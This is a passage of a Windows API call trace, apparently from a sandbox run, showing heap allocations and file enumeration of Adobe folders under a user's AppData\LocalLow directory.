hHeap=0x5010000) returned 1 [0114.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0114.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ec028 [0114.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0114.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0114.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ec028 | out: hHeap=0x5010000) returned 1 [0114.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0114.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0114.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0114.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0114.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0114.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0114.609] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.609] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.609] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.609] PathFindFileNameW (pszPath="") returned="" [0114.609] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.609] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.610] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.610] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.610] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.611] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0114.611] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da218 [0114.611] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.613] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0114.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0114.613] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0114.613] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0114.613] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.613] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0114.613] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.613] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.613] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.613] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.613] PathFindFileNameW (pszPath="") returned="" [0114.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, 